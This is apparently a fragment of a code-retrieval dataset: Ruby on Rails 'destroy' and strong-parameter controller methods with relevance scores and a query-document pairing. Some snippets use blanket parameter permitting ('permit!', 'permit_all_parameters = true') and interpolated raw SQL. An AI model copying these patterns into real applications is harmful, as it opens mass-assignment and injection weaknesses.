respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_rating.destroy\n respond_to do |format|\n format.html { redirect_to content_ratings_url, notice: \"Content rating was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n # @scoring_method = ScoringMethod.find(params[:id])\n # @scoring_method.destroy\n\n respond_to do |format|\n format.html { redirect_to scoring_methods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @place_rating.destroy\n respond_to do |format|\n format.html { redirect_to place_ratings_url, notice: 'Place rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find_by_slug(params[:id])\n \n ActiveRecord::Base.transaction do\n @game.reviews.each {|review| review.destroy}\n\n # remove GameWords\n ActiveRecord::Base.connection.execute \"DELETE FROM game_words WHERE game_id = #{@game.id}\" \n\n @game.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to profile_url }\n format.json { head :ok }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html { redirect_to ratings_url, notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @player_game_stat = PlayerGameStat.find(params[:id])\n @player_game_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to player_game_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rat.destroy\n respond_to do |format|\n format.html { redirect_to rats_url, notice: 'Rat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @in_game_gift.destroy\n respond_to do |format|\n format.html { redirect_to in_game_gifts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reputation.destroy\n respond_to do |format|\n format.html { redirect_to reputations_url, notice: 'Reputation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @del_review = @review.destroy\n @boardgame = Boardgame.find(@del_review.boardgame_id)\n render json: @boardgame \n end", "def destroy\n @rating = Rating.find(params[:id])\n if @rating.move_id != nil\n @move = @rating.move\n elsif @rating.tomato_id != nil\n @move = @rating.tomato\n end\n @rating.destroy\n log_admin(\"AdminLog: Rating destroyed\")\n respond_to do |format|\n format.html { redirect_to @move }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @dish_rating.destroy\n respond_to do |format|\n format.html { redirect_to dish_ratings_url, notice: 'Dish rating was successfully destroyed.' }\n format.json { head :no_content }\n format.js #can respond to javascript\n end\n end", "def destroy\n @meal_rating.destroy\n respond_to do |format|\n format.html { redirect_to meal_ratings_url }#, notice: 'Meal rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gift = Gift.find(params[:id])\n @gift.destroy\n\n respond_to do |format|\n format.html { redirect_to gifts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html { redirect_back fallback_location: root_path, notice: 'Rating was successfully destroyed.' }\n end\n end", "def destroy\n @shot = Shot.find(params[:id])\n @shot.destroy\n\n respond_to do |format|\n format.html { redirect_to shots_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @finale_rating.destroy\n respond_to do |format|\n format.html { redirect_to finale_ratings_url, notice: 'Finale rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @credibility_rating.destroy\n respond_to do |format|\n format.html { redirect_to credibility_ratings_url, notice: 'Credibility rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @drinking_game.destroy\n respond_to do |format|\n format.html { redirect_to drinking_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @analyst_score.destroy\n respond_to do |format|\n format.html { redirect_to analyst_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :ok }\n end\n end", "def destroy\n # @game = Game.find(params[:id])\n # @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_judge.destroy\n respond_to do |format|\n format.html { redirect_to game_judges_url }\n format.json { head :no_content }\n end\n end", "def soccer_delete\n base_delete(params, \"Soccer\")\n end", "def destroy\n @rating_reason.destroy\n respond_to do |format|\n format.html { redirect_to rating_reasons_url, notice: 'Rating reason was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @api_v1_reward.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_rewards_url, notice: 'Reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating_scale_step = RatingScaleStep.find(params[:id])\n @rating_scale_step.destroy\n\n respond_to do |format|\n format.html { redirect_to rating_scale_steps_url }\n format.json { head :ok }\n end\n end", "def destroy\n @destination_rating.destroy\n respond_to do |format|\n format.html { redirect_to destination_ratings_url, notice: 'Destination rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @recommendation.destroy\n respond_to do |format|\n format.html { redirect_to recommendations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocs_rating_factor = OcsRatingFactor.find(params[:id])\n @ocs_rating_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to(ocs_rating_factors_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @gift_request = GiftRequest.find(params[:id])\n @gift_request.destroy\n\n respond_to do |format|\n format.html { redirect_to gift_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @recommendation = Recommendation.find(params[:id])\n @recommendation.destroy\n\n respond_to do |format|\n format.html { redirect_to recommendations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @recommendation = Recommendation.find(params[:id])\n @recommendation.destroy\n\n respond_to do |format|\n format.html { redirect_to recommendations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def destroy\n @rating_answer.destroy\n respond_to do |format|\n format.html { redirect_to rating_answers_url, notice: 'Rating answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = reviewable.reviews.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewable_reviews_url(reviewable) }\n format.json { head :no_content }\n end\n end", "def destroy\n @comentrating.destroy\n respond_to do |format|\n format.html { redirect_to comentratings_url, notice: 'Comentrating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7305474", "0.72226065", "0.7190627", "0.71213555", "0.70387083", "0.6971562", "0.68876237", "0.6873108", "0.6873108", "0.6868143", "0.6737254", "0.6698981", "0.6692994", "0.66805327", "0.6652504", "0.66397953", "0.6626312", "0.6609389", "0.66038406", "0.6589429", "0.65847033", "0.65831065", "0.65513694", "0.6544706", "0.65387106", "0.65330833", "0.6524488", "0.6516577", "0.64800906", "0.647503", "0.64739156", "0.64691174", "0.64672047", "0.6466979", "0.64596754", "0.6459342", "0.64577794", "0.64577425", "0.6455205", "0.6441768", "0.6439555", "0.64336425", "0.6431959", "0.6418192", "0.641783", "0.6411678", "0.63880354", "0.63879937", "0.63792515", "0.6371973", "0.6368813", "0.6362846", "0.63497275", "0.63497275", "0.6347067", "0.63469166", "0.6343732", "0.6343261", "0.6338392", "0.63343257", "0.6333627", "0.6320516", "0.6312349", "0.63103205", "0.6308978", "0.6308978", "0.6308978", "0.6308978", "0.6308955", "0.6308955", "0.6308955", "0.6308955", "0.6308955", "0.63083255", "0.62973154", "0.6291225", "0.62869465", "0.6285474", "0.6282291", "0.6281978", "0.6280961", "0.62772214", "0.6276595", "0.62761825", "0.6273859", "0.6272105", "0.6269454", "0.62689894", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716", "0.62654716" ]
0.74243283
0
Use callbacks to share common setup or constraints between actions.
def set_game_rating @game_rating = GameRating.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def game_rating_params params.require(:game_rating).permit(:game_id, :rating) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def 